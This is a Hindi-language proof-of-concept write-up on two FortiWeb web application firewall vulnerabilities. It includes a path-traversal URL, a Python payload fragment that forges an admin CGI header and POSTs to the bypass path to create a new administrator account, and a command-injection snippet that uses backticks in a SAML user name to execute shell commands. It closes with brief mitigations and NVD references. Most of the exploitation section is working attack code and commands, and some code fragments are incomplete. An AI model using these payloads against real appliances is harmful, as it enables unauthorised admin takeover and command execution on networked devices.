FortiWeb शोषण सिमुलेशन (CVE-2025-64446 & CVE-2025-58034)

नोट:

• यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है।
• बिना अनुमति के सिस्टम पर हमला करने के लिए उपयोग न करें।

1. अवलोकन

FortiWeb एक वेब एप्लिकेशन फ़ायरवॉल (WAF) उपकरण है जिसका उपयोग वेब अनुप्रयोगों की सुरक्षा के लिए किया जाता है।

वर्ष 2025 में, दो गंभीर कमज़ोरियाँ खोजी गईं:

• CVE-2025-64446 – पाथ ट्रैवर्सल के माध्यम से प्रमाणीकरण बायपास
• CVE-2025-58034 – OS कमांड इंजेक्शन

2. CVE-2025-64446 का अवलोकन

उदाहरण:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. CVE-2025-58034 का अवलोकन

4. प्रयोग प्रक्रिया (POC)

4.1. पर्यावरण तैयार करना:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

यह लाइब्रेरी संस्करण टकराव से बचने, कार्य वातावरण की स्थिरता सुनिश्चित करने और सिस्टम पर प्रभाव को सीमित करने में मदद करता है

4.2 शोषण

पेलोड

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Python3 के साथ टूल चलाएँ:

python3 exploit.py <IP_target>

• <IP_target>: यहां IP पता FortiWeb डिवाइस का होस्टनाम है।

यूज़रनेम और पासवर्ड प्राप्त करें -> लॉगिन करें

शोषण सफल रहा और एडमिन अधिकारों के साथ एक नया खाता बनाया गया।

4.3 खाते में लॉगिन करने के बाद CVE-2025-58034 का शोषण

नव निर्मित व्यवस्थापक खाते से सफलतापूर्वक लॉगिन करने के बाद, हमलावर विशेष रूप से तैयार अनुरोधों के माध्यम से या सीधे FortiWeb CLI कमांड-लाइन इंटरफ़ेस के माध्यम से प्रमाणित कमांड इंजेक्शन कमज़ोरी का शोषण कर सकता है:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb कॉन्फ़िगरेशन स्ट्रिंग से बाहर निकल जाएगा और saml-user कॉन्फ़िगरेशन के दौरान id कमांड निष्पादित करेगा।

5. कमज़ोरी कम करने के कुछ तरीके

• FortiWeb को पैच किए गए संस्करण में अपडेट करें।
• व्यवस्थापक इंटरफ़ेस तक पहुँच सीमित करें।
• प्रबंधन इंटरफ़ेस को इंटरनेट पर एक्सपोज़ न करें।
• असामान्य एडमिन खातों की जाँच करें।

6. अतिरिक्त संदर्भ सामग्री

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034